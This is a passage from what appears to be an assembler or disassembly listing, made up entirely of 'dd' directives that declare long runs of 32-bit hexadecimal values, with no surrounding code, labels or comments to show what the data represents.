35DC0370h dd 4A3778ECh, 88ECCEA6h, 9D2CC0BCh, 430A7413h, 8CBE95EDh dd 0D5A908h, 1C5A7648h, 152536F2h, 0B4ECC4ECh, 0C7465E18h dd 2900893Ch, 915348A5h, 4B12CA22h, 9CC7B956h, 0ECE60A15h dd 0F7E230B7h, 6049E54h, 51724178h, 0CBA46802h, 62795451h dd 0A02C2A19h, 8CBC4B8Dh, 4B400C40h, 0D5A34CE5h, 1000163Ah dd 38EEE45Fh, 920AF6E2h, 0B88D7628h, 0EA6DD980h, 5C81FA8Ch dd 4707B575h, 0C365C3D6h, 3C81F74Dh, 214730FFh, 91569409h dd 0E46465D5h, 0D42C60C2h, 3DD0052Bh, 0E0864269h, 652C5EE0h dd 0C38F18D8h, 5C2B6104h, 0C050B5FAh, 9DC8CA0Ah, 0FCD4641Ah dd 624656h, 19C224BFh, 1FC7D228h, 42936568h, 0FE70A5F8h dd 465E90D4h, 0C4810752h, 58164AF7h, 0B1AB03C8h, 0E4CE5177h dd 1EA31001h, 42FCE8C4h, 788438ABh, 0C90AE09Bh, 888F5EE3h dd 21306F1Dh, 70666Dh, 590D639Fh, 4E3C12AAh, 258F44B6h dd 1D01AB8Dh, 8120112Ch, 0FBDC4CDAh, 8FF859FDh, 185648CDh dd 90040189h, 8254376h, 0A0F7CD33h, 9C4A7A0h, 29D184B9h dd 48009D18h, 5381EBB9h, 31E3C7F7h, 0E98AAFAh, 36D2D1B0h dd 9A74E0E4h, 332B01F0h, 5DFA19A5h, 4D3C34DDh, 36041CB1h dd 4C9059D3h, 1474AC13h, 38D11999h, 18CC4ACh, 7E9BFC1Bh dd 2F926584h, 0DF00806Fh, 39876C94h, 0F0B41C66h, 88F42D12h dd 22508837h, 18A44E4Dh, 7E89BA56h, 0C95525E9h, 2AD258E9h dd 0B500D46Bh, 10986C1Eh, 7D0950E8h, 58065BC9h, 7F8004ECh dd 0BDDC463Bh, 283ECCCh, 6D7159D0h, 7601D60h, 1918FAEDh dd 15599C57h, 0B07403C5h, 8BBD9178h, 86050EFh, 257166D9h dd 8E635009h, 60947A36h, 910C39DDh, 952C1BACh, 7763AC5Dh dd 684082F9h, 7374EBA8h, 4E160012h, 11C155BDh, 0DA27F2A8h dd 61C4E089h, 2DFCB283h, 448459Ch, 64B87548h, 59F19143h dd 2C00CC8h, 0D09E86FCh, 345408C7h, 990200DCh, 1A437EA1h dd 0CD2752DBh, 0B704C855h, 97D334BAh, 1C60B8F9h, 60675276h dd 0B5B58668h, 38DD30A0h, 6BEF507Dh, 0EB23FC2Eh, 0B1032926h dd 773BF7h, 39EDC819h, 2A2722Bh, 32E3E009h, 8530AFEBh dd 0A8E0DDEEh, 9496B54Dh, 0B996F2h, 5018C1F9h, 0FDFEC01Fh dd 0B97C71C3h, 4B91E639h, 3A78D93Eh, 0A923902Bh, 20959903h dd 2855B8EFh, 9BE20BFEh, 7C39DB2Ah, 6B3FD4h, 8C8BDC38h dd 0FC028104h, 3A004D34h, 9F674C66h, 0EFB0DC39h, 327D6100h dd 6FF373BFh, 0F40C017Bh, 0DF2BDD29h, 0D11FE004h, 0E49771Ch dd 0C264CAA5h, 0C3FC0209h, 67D8A055h, 916C15Bh, 0D0A98FADh dd 2611E09Dh, 128BA680h, 1E4C2469h, 88AC2A5Ch, 8F0C2805h dd 0E86ED0F0h, 0EFB0AA00h, 68BAED70h, 78B2F102h, 7A2E0A4Fh dd 0D63CB424h, 0CDB2071Eh, 0A4A490AFh, 92D6EC76h, 0F2920A10h dd 8994D189h, 0CCC56204h, 18C859E2h, 63D9758h, 0F61C03FFh dd 29DED8FAh, 0E0AF60h, 0E413B32Fh, 0B100FF0Eh, 0C605524Ah dd 5147B6h, 4E173BE8h, 7179756Ch, 0F8EABF3Ch, 0A82C5CB1h dd 0EDDD208h, 0F074781Eh, 0A32A7F13h, 30C2B28Ch, 4A132B50h dd 0F8E26B3Dh, 9AE28000h, 0E766C7DDh, 3A8E3900h, 9C889287h dd 0E57B10C4h, 3763B53h dd 0C7CC3CA3h, 0BC95E1E7h, 0C8E118A7h, 786600CAh, 297ADh dd 0B452AFEEh, 0DA021A00h, 50388253h, 7B47176Eh, 0A3CCC579h dd 102F4EA4h, 0BD035223h, 0EA9A17E9h, 354CF873h, 84F9F1BEh dd 1D300088h, 0F89B6369h, 4A4BBD0Dh, 686680C4h, 9D6FB8F0h dd 8358EF00h, 665BCA06h, 0F69883B7h, 0EC009592h, 0C5716E8Eh dd 139894E9h, 8BCCFDF7h, 0C6D6C8E8h, 97B7389Ah, 9DB5919Ch dd 8492F00Ah, 0B62F5E11h, 8346F820h, 0C4133245h, 0B8A250CDh dd 5E9C8850h, 15403011h, 2583B71Ch, 1CE7F11Ch, 5F60BB44h dd 0C10BF427h, 0D880B402h, 0CD9115B8h, 473A504Ah, 0AB003840h dd 0EF34EE85h, 260A74FBh, 9008DECh, 18D133C4h, 5218C079h dd 7163605h, 10C05F11h, 5E4DA76Dh, 88D8CED2h, 164EC0AAh dd 240919A3h, 0E5B8923h, 93FF2988h, 0B62AC160h, 5C38118Bh dd 70516889h, 191826D9h, 72874700h, 0CDD4FE18h, 90AD268Dh dd 0C5467608h, 0AC290074h, 0CCD64A26h, 8409EE82h, 8BD36544h dd 0A7B0D148h, 0D691B417h, 0BF546182h, 6F6058D8h, 0C20367C9h dd 47E31F53h, 90C4252Ah, 92ECA778h, 0F0529C00h, 0E126CF11h dd 80CD24E7h, 0F2B90BFBh, 0B3082C9Eh, 0ADA7CEFFh, 0DE91F815h dd 0FCB5B180h, 8C09C0A4h, 4BCE3CDh, 0AF465E88h, 0E7015148h dd 2270E2ADh, 0A970E086h, 8AA402E3h, 58B243C4h, 39015C5Eh dd 0A808501Ah, 0B6269068h, 10AF4758h, 60861D8Bh, 7C01E300h dd 6B21D846h, 78A0006Ch, 0A19AF4Eh, 8297C0FEh, 0E160F144h dd 0C80F249Ch, 4997C1D8h, 0AC234Ah, 0A9960C09h, 2F2E04h dd 955C41A8h, 37BFC60Fh, 424FF8A0h, 20EEA2Dh, 0FE4448C0h dd 0FBEB6E88h, 9B461303h, 4A056914h, 68506C18h, 0A7F8038Dh dd 0C231D381h, 6346D015h, 5B58DA18h, 0FBDAD0BCh, 9EE3C716h dd 1B85423h, 6691C321h, 0F8D6A543h, 0B20E280Bh, 0F733E173h dd 0CA2AB444h, 20791E07h, 7F9E4F9Bh, 5E393548h, 15C7CC8Ch dd 0F08E9D7Bh, 0D117FA09h, 46BBB817h, 1C318900h, 0DB7D1663h dd 4B1A6D17h, 43ECC0B4h, 301FE2A7h, 0F2097B6Dh, 106FF8F5h dd 21955Ch, 0CBDEAAB5h, 1406C52Dh, 18612800h, 0E48C88D8h dd 0EC352DC7h, 41775098h, 5A3AA225h, 0B153E618h, 3F6381A0h dd 0FDD1B478h, 85482C4Fh, 0B8F035DAh, 30816B55h, 6AE0B8EDh dd 1D63C55h, 0D262141Bh, 240CFAF1h, 411537F8h, 949B50h dd 622460A5h, 0EA735B9Eh, 702800D6h, 8E5450F0h, 6B756D4Fh dd 64F6A100h, 0F9977ACh, 0B900B44Eh, 0E97FFD82h, 0ECA44173h dd 0ED54D409h, 0C7BCBCh, 6A1B6CA3h, 50266BF3h, 208E635Eh dd 62CE23C8h, 0DE36D49Ch, 0A6D54254h, 242C987Bh, 0C7465Ch dd 4A7F133Bh, 58CE836Dh, 0BC018074h, 0C4264161h, 997420B1h dd 4A30C340h, 6818E086h, 6B745C04h, 60A927F2h, 7200D5ACh dd 14DA43DBh, 25BE4178h, 0AC94C554h, 0EE43597h, 8940E4B5h dd 0FC65461Ch, 5012A87Ah, 38A0DA0Ah, 4750B638h, 7813F317h dd 0A4AC65D8h, 0A8CB415Fh, 0DFC0AAC8h, 187DD206h, 70B42417h dd 1140B222h, 1CC42421h, 0CE0F438Ch, 2DE02663h, 493BD0CBh dd 0B4909AB1h, 2EF5DC90h, 0B420CC29h, 0D4991FA6h, 0BC12AFADh dd 465E0CD6h, 559501AAh, 521CAEFh, 0E08834EDh, 6602F61Eh dd 4D8BCEE0h, 60B5E498h, 987832C2h, 8FC54430h, 0A745DA3Ch dd 0EE6CA1C6h, 0A0402C39h, 96926F0Dh, 54465E10h, 7506BC00h dd 778CC24Fh, 0AAF10209h, 0FD78A053h, 0BC6CF39Ah, 86454FC4h dd 0E2ECA20Ah, 839E3059h, 968B7E02h, 57DF3AC4h, 0C0913817h dd 514ACD80h, 9148B087h, 68040028h, 0AFED74F2h, 3A71CE49h dd 0AC4FA060h, 9C01D2CEh, 8D5F114Eh, 8475B9C9h, 402B7820h dd 3449204Ch, 7CCB4EC8h, 6CC04DC8h, 8F1565h, 0A5AA6910h dd 0C17B483Bh, 9CC9885Eh, 45D7820h, 459C0777h, 0F8C4AC6Dh dd 3E008C54h, 6642CD1Dh, 7FEDBD7Dh, 980748E4h, 1F8C29E8h dd 12239D1h, 4689F631h, 9B2034DFh, 61DDB1Eh, 4D00FBACh dd 36CE348Bh, 510316B2h, 143CC8B7h, 319CA840h, 46A93B11h dd 0D64980F6h, 7039BBB5h, 44C200FDh, 9E734E09h, 0E52F93D7h dd 81C8642Bh, 41973D8Ch, 73E46F94h, 0FA30B05h, 1CE13DEEh dd 0C4286B21h, 0B8CB6BCh, 0C4FF9104h, 981ADCDBh, 0DCE8D671h dd 8157D812h, 24F8FCF8h, 1768048Ch, 0F9560150h, 19C60370h dd 0C028D231h, 9A9BE9F2h, 5FA22C10h, 7D5005B0h, 3F9420A9h dd 6004592h, 0CD8F366Eh, 3B776DAFh, 6F000F0Ah, 5BA5C058h dd 2E5B49F3h, 0DC1088C7h, 14EF5B6h, 77701784h, 2C08C49Dh dd 8C1FBCD0h, 0CA169A00h, 0B8450352h, 309925E9h, 0BBE4ECF1h dd 75EE3941h, 4DD89DCAh, 0E9DE0140h, 60B55EE4h, 452839DBh dd 3D4ACDF6h, 6025FCA2h, 1CB9C046h, 0EE182679h, 0C6E84673h dd 4497BD79h, 31717258h, 0D768E0FAh, 0F2BC320Ah, 0D8C33043h dd 0C16AA918h, 1DFEC2E9h, 805AE1E6h, 0F793E0E8h, 0B70106DCh dd 17A89E07h, 0E0605E8Bh, 98C1408Ah, 7C4E2605h, 0DCFD6FF2h dd 0A996E382h, 0B6125601h, 0EAEB3181h, 7375253Ah, 31C4A290h dd 59DFFCC1h, 0E747C0Fh, 921D07E6h, 607D1320h, 786639A1h dd 8C6082FBh, 46815A62h, 6E003869h, 0A34720C0h, 8509FE80h dd 17DA1699h, 81AA91D0h, 474F29DEh, 9ADAA02Bh, 8A1870D2h dd 527D4870h, 0BFE22C08h, 0FDCE430h, 1D3D7298h, 0DAE4788Eh dd 828CC8A9h, 1388CF01h, 0C5894699h, 0D55630h, 0BBCBBFF6h dd 0F0F970A8h, 0B0848197h, 5EF4A052h, 0E5B12C9h, 1D90C09Ah dd 50026C6Fh, 0CEE3C76Eh, 6BF4D18Ch, 5764EC45h, 0F126FE60h dd 65C6D30Ah, 7A08880Fh, 0CD9003FAh, 617E8CE8h, 2E1FB612h dd 90939C0Ch, 0DEE92EEEh, 40F51B28h, 1C521824h, 0BE03C510h dd 6E0B2605h, 3BAEB7D0h, 200D88h, 42EAB684h, 77E7D71h dd 30F0031Eh, 8CFC28C4h, 791820ABh, 0CF01DD4Ch, 0A95DE322h dd 5822B65Fh, 0F6839200h, 0A5E036BBh, 0A7C7E502h, 54CCFD28h dd 0C4465EE0h, 2A26F700h, 0CB3FF9C6h, 9C661009h, 20845281h dd 0C98DB0Ch, 2078E493h, 0E4F93878h, 186C24D1h, 0BA88CE80h dd 0F172EFBh, 0E1FD883h, 0C9BDBC0h, 954D7BE8h, 12B02488h dd 4BA1771h, 1391D21Ch, 0C1E294E3h, 61030h, 0E8AB1611h dd 151E5C25h, 0C7E4F702h, 5EB95638h, 1701DE78h, 0B3041A4Bh dd 0F0ADD771h, 32C7006Dh, 64E33985h, 543245A2h, 208E1EC4h dd 23CCC09h, 285008DBh, 9F167CD6h, 0D4816092h, 2D76950Fh dd 3D8D0050h, 8C35AD25h, 0DCF92571h, 0FCE68409h, 38FA1712h dd 88B02481h, 5A2C383Fh, 7E8FF4A8h, 0B5B06305h, 7C8F2569h dd 0F10F4D12h, 882F7AB4h, 0F900A923h, 6E4D9101h, 0C3FB1274h dd 0DA90E84Eh, 0E110C99Ah, 0B99545F9h, 0A0008C51h, 39344304h dd 0B403A8AAh, 6C417C8Eh, 1521E0B5h, 69DCB42Bh, 0C3E4A045h dd 2F49D860h, 0F55B3B00h, 1ED2EFDBh, 4B94F8AEh, 0FFC4F48Eh dd 787ACE5Fh, 77FBCB01h, 0E10E41h, 259DEE12h, 405AB86Fh dd 1DC88F25h, 824591F8h, 76BD46C0h, 6200F6D4h, 0A423BD4h dd 2D25943Dh, 0F429493Ch, 654010D8h, 13A17BC4h, 0F150920Ch dd 0BC3E2B28h, 0C4A64523h, 0D2035160h, 0A4860025h, 11388809h dd 31D34FB1h, 0AAB5E404h, 80D1405h, 0E0A74140h, 20CDD590h dd 280023C3h, 69C16650h, 4F2B5DCCh, 23EC2F3Eh, 3F790062h dd 0E4873996h, 271C47FCh, 54CF2A8h, 1E1B6965h, 187BC768h dd 52BDA05Ah, 5310CDE8h dd 0B6183CDFh, 93E8A944h, 61D191Fh, 3B5AD2C2h, 62D45C72h dd 24609E30h, 9784D992h, 5991FC95h, 1CBAFE80h, 0CC02FB18h dd 0E7A7EF7Dh, 0EBBC60CAh, 36A914C0h, 57AC2C0Bh, 1A9F008Ch dd 0CAE50FD1h, 0DCB67573h, 94783B9h, 969A12BCh, 569C0AE6h dd 6C92D7h, 1C627D2Bh, 0B3025811h, 9CBF96E1h, 13CD246h dd 3D32CEEBh, 3C41A4E8h, 8CC4BC50h, 78E67B00h, 3D9CFD11h dd 0A31D27EBh, 3884AC89h, 4F80F63Ah, 0B523242Bh, 59E9E700h dd 0EB10FA11h, 0C2D0812Ah, 440FA7Fh, 7B004E9Ah, 0F585C8C1h dd 0B7A7718Bh, 0A500F8B7h, 4E26450Fh, 9D6CFE84h, 0C111B89Fh dd 0A06B180h, 9905D70Ch, 2A3EBD53h, 0F702C4C1h, 76B0603Bh dd 486E6642h, 9A8DA7D8h, 995796h, 8EDE9343h, 81EDDA17h dd 32F3A400h, 1264BB98h, 5C18989Eh, 1F0EDCFFh, 8CCBE96Fh dd 92005459h, 0E6A2673Bh, 8DF8E7ADh, 2B990025h, 0B37A4C8Eh dd 0AF04C5F1h, 3D30B869h, 57A850ADh, 1EC1E400h, 7C2B8312h dd 9C49219h, 3CA4169Ch, 1004D479h, 0E0BC97B6h, 1627A00h dd 0B88EE342h, 182530C9h, 91BF3D4h, 0C0A7BB97h, 0A68BC281h dd 0B8347952h, 79FB003Dh, 0E398569h, 572704C4h, 4548A0A9h dd 39FD2A81h, 5F8590E6h, 87F773E3h, 44A2E2F0h, 5F78FE02h dd 8FD69C8Fh, 0C057880Ch, 42793C8Fh, 6F2CA12h, 0E126B8FCh dd 946F2DF4h, 0B3BD740h, 208C001Ah, 0EDD82485h, 7A1CF427h dd 780239F1h, 0D44240F9h, 10DD40D0h, 849D2C66h, 13EAA03Ch dd 443B14DCh, 2D43182Ch, 68FF8CC1h, 8C54BCECh, 91BC5517h dd 0BE0041ACh, 0C4199AC5h, 64BA244Fh, 91449795h, 0C09D80C3h dd 11DDC5Bh, 2C474327h, 6C83C60Fh, 9A50C80h, 18A731C7h dd 18D5A3C2h, 0A8040E4Fh, 8B997386h, 87C8D8F8h, 5940D96Bh dd 79D11823h, 92D5EA98h, 664326E4h, 0C046746Ch, 45C27800h dd 0C4F30DE5h, 68597990h, 95862260h, 0B591B497h, 0A7658781h dd 44422B56h, 60DC8FEDh, 12FF993h, 0E4B2730h, 2F979A34h dd 7DD99882h, 5280C0B5h, 0FA9D35A1h, 83030B3Eh, 4C90AF58h dd 0DC00CDD6h, 5CDBE8BAh, 13CC3A11h, 137D2096h, 0C8C4CB2Ch dd 6D20C1BCh, 6350D0E8h, 0CF4AF4EAh, 3CEE9444h, 0BB88308Fh dd 0E4AFFEC2h, 0C1010078h, 8E65732Fh, 9700E5F4h, 0BB184446h dd 7AF0E9Bh, 0B2E757F1h, 0FBCB448Bh, 0DAB62020h, 2DC000A5h dd 85BF7F1Ch, 80F1AC42h, 0F905C518h, 0CFC1A90h, 0D422D659h dd 0BF616E08h, 0F8EC6C20h, 6057C3F0h, 339D499Bh, 0E800BCFEh dd 3F23245Eh, 3CC2A8B4h, 0AA8FB32Dh, 7D80D0B9h, 59221430h dd 74437F00h, 0F65AF9AEh, 0CE20C1B6h, 0B986B4C3h, 0E802C690h dd 0D41A93F8h, 65106F31h, 4500F8EFh, 0B40BFBF5h, 182ECB12h dd 79989E5Bh, 0DF001580h, 0D7683B56h, 0CFC957A3h, 31A139B9h dd 0C0A4FF1Ch, 0F758FDF2h, 999F0091h, 0E384DC62h, 172203A1h dd 52C3465Fh, 9C704010h, 2837B90Ch, 3B0CB648h, 20570C0Eh dd 0CB1A3F49h, 0CC9CC181h, 808DEEA5h, 2F3AB671h, 6A17F7Ch dd 599AF331h, 0C6600861h, 7C378421h, 1EDE15A2h, 1500D4BAh dd 0C097EECBh, 0EB06F9Ch, 0B63689C0h, 0C0BDFD80h, 1B84A029h dd 0A033E6Bh, 5A3FA138h, 0BCA336h, 1B6C0221h, 3C3379D9h dd 0D4664900h, 0B05C39A8h, 0F70A2895h, 2843E298h, 0E0C1CBh dd 0E0F57D7Bh, 0C702AB2Eh, 3047A8A8h, 0AC607AF0h, 9F148210h dd 3A515C3h, 661F748Eh, 79A1887Ch, 8540B5C4h, 3DEC7C2Eh dd 0B915A019h, 0CDDCFC39h, 12E71495h, 0F088A0BDh, 7D7C2DC0h dd 226146A1h, 35F2DDh, 9563C7Ch, 0B511F7F8h, 3874801h dd 289F225Ch, 0C9ABD88Ch, 0BA003131h, 2D097B4Fh, 7265FDC3h dd 0EF110001h, 0AF9607A2h, 78241DDFh, 83114C36h, 96F8E782h dd 233A6AC1h, 73224Ch, 91F8F662h, 5EFB783Eh, 0B124B871h dd 690B8080h, 8436001Ah, 18A14BF0h, 599946E6h, 0F505987Ah dd 7B305CC1h, 3BC71D80h, 8980C87Eh, 8CF8E9C0h, 59DC211Ah dd 68007891h, 0B21F8F0h, 0A95CCE53h, 0A032011Dh, 0CB131B24h dd 0F2168440h, 54B11210h, 0B4D000F0h, 0FDFE7A7h, 5735DC0Ah dd 5680BCB8h, 2EE8EC92h, 94C11998h, 80BE0933h, 0EC8A7621h dd 2E46873h, 0B32ED0E3h, 1040BBF2h, 8C3D6FFAh, 2358C86Eh dd 1B7E018Ah, 0FA5A3E2Dh, 217C319h, 0C0E01B86h, 0B8C41F31h dd 8D05DE2Bh, 0DAE040C5h, 0D8373B1Ah, 0DC1018C2h, 915C9032h dd 2EE711ECh, 629FA0h, 0BEEC8973h, 47B2C9D8h, 5605CE03h dd 42D51B13h, 0ACF28451h, 6F1DD30h, 36B8351Fh, 412AA9CBh dd 953BCC75h, 9691891Eh, 25100368h, 0FDA6E805h, 105C009Fh dd 0A33A941Ah, 0B648370Bh, 1F12380h, 0A1847C30h, 88DC1889h dd 7C003897h, 3386AC75h, 710E41F5h, 79C60EE3h, 0BC49E7BEh dd 0C81DAC12h, 688EB211h, 22F78E60h, 453D1472h, 0C0472A1Ah dd 0E65B2F02h, 47D0AF64h, 606A4458h, 0EB5386h, 0E2B9C6A0h dd 9BC81D36h, 9E1C3519h, 811887B0h, 3E301B04h, 12C3822h dd 281B6D00h, 0EA0BBB0h, 9CB74CDCh, 0E7E53000h, 8C0AFD19h dd 9E14830Ch, 8C87B049h, 92F8FB04h, 7462EC1Ah, 0EA5E23h dd 7A65A20h, 0FE171611h, 1F2626ECh, 0B448D0C9h, 80E0ED15h dd 0A1807C34h, 0CE448C69h, 5CC4FF9Bh, 4153002Bh, 2D4C903Ah dd 1E14A1AAh, 882CB783h, 7C2AC0EFh, 594CA17Eh, 3299E08Ch dd 7843007Ch, 0AC5AC181h, 2DF8DB3Ah, 9B77D8B0h, 1A9FC80h dd 34A1BDF3h, 52B994E2h, 63088E4h, 1A9D08F9h, 0A6665A04h dd 0ED670721h, 0F0B125F8h, 0A78B0A37h, 7A308D00h, 439F42D2h dd 8C9C53BEh, 7631B5A2h, 4683C0h, 49E9DCDDh, 0B56A708h dd 6F84BCB1h, 0F248C097h, 837C6BC0h, 225146A1h, 339000D3h dd 19B02F7Ch, 590ABD0Ch, 408DCB5Dh, 0CA7BFF00h, 1EC38AC2h dd 82313CE4h, 16EF355Ch, 6F107340h, 8FC10913h, 295F5404h dd 201DAB0Eh, 0DA494260h, 934666h, 9C96D176h, 32A910F0h dd 1CE130B9h, 2E04A2DBh, 0B52368h, 9A083F7h, 263EA2A8h dd 0B960E1C7h, 2983DBCBh, 0B3C10C59h, 0B0635807h, 4325A013h dd 1437C898h, 0AC955B33h, 15460774h, 81A323A8h, 255C56B1h dd 84144E88h, 0D730BF6Fh, 1D039EF4h, 8E6552A5h, 39906E7h dd 0B051680Eh, 70AF80C4h, 261E1704h, 84A55C49h, 748CC3E8h dd 0C7E50110h, 41AFFC99h, 88C9AE8Ah, 0D1515CDCh, 0A7093F05h dd 0C05432C1h, 81478F20h, 3C8C192h, 82B9AB46h, 0F142CBE0h dd 0C4DB0774h, 3FF4901Fh, 0B0E6F59h, 0A0AEA44Ah, 833ED00Fh dd 35A1E0CBh, 81295746h, 9B2E98h, 0A194EC60h, 798627CCh dd 8CD71BACh, 3563C205h, 0F4C890AEh, 30CB4187h, 48C3774h dd 2F06EC9Ch, 20C26288h, 0D0EC7478h, 0F3043200h, 0D86FAFB8h dd 0C4AB2AF6h, 8BE13CE0h, 4735412h, 3DA8788h, 16A04286h dd 0D02399h, 47D92CDEh, 4401573Fh, 0EC05812Eh, 84658871h dd 0B5F2A072h, 13EB5630h, 455723BAh, 42E7AB6Ch, 13EED9E8h dd 60101869h, 91C0D6CCh, 0DE2C5D31h, 0BA6004Eh, 0F9E6DC73h dd 6214D633h, 0AC44CE25h, 4008CD3h, 735CBC3Fh, 61B2AB2h dd 38A0E87Ah, 3336499Ch, 0F9E89E12h, 0B1CDFED8h, 18DD79F8h dd 4FB4003Eh, 1A7B2B52h, 0C850FAD6h, 21500FAEh, 0A3488980h dd 19562018h, 41D1DFEAh, 0B8DC28CCh, 7B038CD1h, 0DAE2AF91h dd 0CF6816F7h, 0A220200Dh, 19003130h, 0BB8A0883h, 9BB958E2h dd 2A687860h, 3CF7A180h dd 95095ED8h, 6007BA9Eh, 0DC0FF1C4h, 25C2633h, 2EEAEC88h dd 10BD31E8h, 1EEC805Ch, 80CEEDE0h, 0C30D30F6h, 9A24CB15h dd 3B02A0BEh, 80AAEB46h, 42485C94h, 0ECDA819Eh, 0BC0B126Ch dd 8485E858h, 9C822ED0h, 0EC8F3038h, 0F046E97Dh, 790EBF22h dd 0E0EBEC87h, 952DC36h, 24E01676h, 0B7F0044Ch, 0CA4907B4h dd 1D20C219h, 80CE11D0h, 0BCEB298Fh, 26C4123Fh, 0EED00268h dd 0A868AC23h, 61C0D143h, 0E54818DFh, 96037ADBh, 0C06C1E54h dd 614A5277h, 3D18A0F9h, 2D60DEEDh, 0CEAE5CB3h, 8058D024h dd 986A22F1h, 0B0990F56h, 0A2A61502h, 89CC61ECh, 1B0F5B18h dd 0D0723E2Ah, 0FF80C4C8h, 7F3D1B86h, 0CCC55D8Dh, 940FFC44h dd 0BE465CECh, 5C258500h, 0BDB0CE7Eh, 1C9A1624h, 0A0DF8E42h dd 0A3BB2798h, 850E008Ah, 9FEB49F9h, 0E40CC2C9h, 51AF5E98h dd 0AA380011h, 0E203348Eh, 0BE05D8B1h, 74B6352Dh, 1B807020h dd 6A3E232Fh, 0FE00C511h, 4DC01B87h, 4803F59Ah, 0FDF651DFh dd 0B2210EB9h, 8E6021AAh, 0CAF5B48Ch, 6228C8F1h, 9AC5EA02h dd 40162313h, 1C0384B4h, 6E2EB9ADh, 1E018210h, 0F0833BE3h dd 0B9249D07h, 2708FC86h, 0A1E90350h, 0CBE0E25Ah, 0A0506E52h dd 0B4EA9488h, 99FE5020h, 1874D9E4h, 0AFB00D3h, 0E835201Dh dd 197DF0C3h, 0A1188B00h, 44541AB9h, 0B7E63AAEh, 0ADCF730Ch dd 83004D11h, 0B0D2BAE9h, 662AE282h, 21B90888h, 0E9BBEE00h dd 0A6CD36C7h, 7519006Ch, 0E3D47A9Dh, 0A0008146h, 0FA72D54Ah dd 0C8E0AD71h, 0BDC07D60h, 46D2B8E9h, 0A622A0h, 45E9B5E0h dd 0C5EB93B0h, 1482058h, 0B49834Bh, 0ACF84FE6h, 763230BFh dd 24DEAD30h, 0E272C200h, 0DA3B8436h, 0EC540051h, 7920150Bh dd 8C0302B2h, 465ACF6Ch, 9D40085Dh, 0A8064C51h, 7548BFCAh dd 74CE3744h, 0A3C6C389h, 382F1900h, 0E9D13FB2h, 400403D4h dd 0A92CFEE7h, 0BD8E2100h, 4B27836Ch, 2F481941h, 9DB208A3h dd 6C406321h, 0D42420E9h, 62ED0A3Ch, 29078A6h, 595C7D84h dd 607C9484h, 23B9E982h, 0A511D8D2h, 0E9BAE304h, 0F0680C9h dd 5054351Ah, 8F0FEC88h, 0E04E380Dh, 8F624EBh, 66D748D8h dd 0C0F9DC1Eh, 0B7C66CEDh, 0A363E3A9h, 0B12BDF18h, 0E0418AB2h dd 8886E0FEh, 717765A5h, 0DBE28302h, 88CB183Bh, 0FD118414h dd 0BC6CBE80h, 448CA327h, 0B7046EB3h, 0EBAF8B6Ch, 12D523C0h dd 847051BEh, 0CF2F609Fh, 0F168FB18h, 0BC60FF44h, 2721BE6Ch dd 0B568C0B3h, 21068F6Ch, 0A7B72E8Eh, 47F40AE0h, 4124FCE7h dd 31B96CBFh, 240A36h, 0F6CB469h, 3DB47FAh, 9034C09Bh dd 210EB92Fh, 0A1C7F852h, 5A01F289h, 805EC080h, 0CF9D3D60h dd 443CBC01h, 0A96CA5A7h, 352AA050h, 655F0133h, 961D9973h dd 52388376h, 12FA32CBh, 4EEBC6F0h, 8DA0D200h, 0FEB32F55h dd 48BEEA04h, 8807491h, 0C0F24EE3h, 0D6967F30h, 0E8C99ECBh dd 114C1DBDh, 1F9C8EB3h, 243D2AC0h, 70D829h, 0BAFD5156h dd 0AA101BA5h, 0FC018090h, 26966BC3h, 7082A6BBh, 0BC3A22CFh dd 80D5A840h, 8CDCC903h, 38B3F3C6h, 0B089AE20h, 4C204135h dd 0FB247464h, 3451CF2Eh, 861C70Ch, 8A21C043h, 0B3BA247Ch dd 73CD1900h, 0F2879810h, 41D70008h, 6EFD30DBh, 0BA53533Eh dd 307AA230h, 0F3003818h, 0D55C06CEh, 0C05332D8h, 0A466ED21h dd 0D77EA164h, 76CDD900h, 2F9889EEh, 13220029h, 0D372B085h dd 0C0A099AAh, 0C6108475h, 0C903DB97h, 0B6AD4DEEh, 0AE00E4D2h dd 101E786h, 68F16E70h, 0B9E169A2h, 0A421E008h, 1B501FFh dd 51AFE85h, 944834E0h, 23E84491h, 6CA101FAh, 33AB27BFh dd 0B66F8034h, 71279B6Ch, 0AC464972h, 1BE3C70Eh, 1085C92Bh dd 87D80356h, 0B8A607C6h, 6222D30Ch, 294C18A0h, 3A60B1ADh dd 6E710184h, 20F362F9h, 2A01FCA7h, 73810C06h, 19EDC7h dd 97D00F17h, 3A597C46h, 0F4EA5600h, 2C8DB57Dh, 0E9B1C0B8h dd 39E7492Bh, 747BD000h, 0D9598F29h, 0EB6C073Fh, 0F9F81513h dd 0D499A400h, 0BF04705Ch, 77D7C9FDh, 108E98C4h, 0E3C0B088h dd 514222Ch, 32838139h, 6FB84F74h, 0DBC15D21h, 0FFC4D0A1h dd 1D43A300h, 0F1EC8C32h, 160A14CFh, 409494BFh, 68C78E8h dd 0DA2ACF55h, 6D024857h, 0EDCBE22Eh, 8328B5A3h, 8E12CF07h dd 0C66F01C4h, 0EC40A153h, 37E2EDC1h, 0F0314F32h, 5DB1EB64h dd 127ED200h, 2A193EBAh, 0B0430044h, 0AE171DFDh, 23F9BFFBh dd 31F2A264h, 5243022h, 0A8116D06h, 2A48DE1Dh, 1FC0A62Ch dd 4028F997h, 69EDA0FFh, 0F2F1E84Eh, 0C4882C25h, 0BDE9009Ch dd 0C93770B1h, 820043D8h, 0B6530E4Ch, 10100BF1h, 58BD8ABCh dd 8CBEE860h, 5DCC2C02h, 0A8A12633h, 465678E8h, 984303FAh dd 0C80C5732h, 18958761h, 0D1472EEBh, 1212275Bh, 0C400724Eh dd 164C3D6h, 0D99CB157h, 0BF18B1h, 13245D81h, 2F34D8E0h dd 0C621BE60h, 7CEED009h, 4678039Bh, 880FD50Eh, 0BE3D6ED8h dd 94A734EEh, 0CC60A744h, 0CD032253h, 0C69E3D0Eh, 0D94100F5h dd 0DD6FC18Ch, 0C90096D6h, 681BEF53h, 0FE28D88Bh, 0C7BB010Fh dd 0D4616DECh, 0B466DE9Ch, 0CE317F00h, 19DA27CFh, 0A91800D7h dd 0D5895E1Bh, 96501A62h, 0E3135C98h, 0B40FFD42h, 19BA6C27h dd 28984932h, 44512C30h, 3612666Bh, 0A414D40Ch, 49407CD4h dd 7BC62C69h, 0AD348C18h, 2C304D30h, 266FC92Bh, 20846063h dd 0A1A21B1h, 0FB0648BAh, 0AAE7C8C7h, 0C68F0828h, 4901BD4Fh dd 0A12EE8F1h, 5A4D818Bh, 0D7A1DC13h, 0CF19834Ah, 6548232h dd 94C66788h, 0ACB0A0CAh, 37406222h, 7F319232h, 0B0B409h dd 0E7102470h, 86E371CFh, 302B24A9h, 5A406A28h, 342E5123h dd 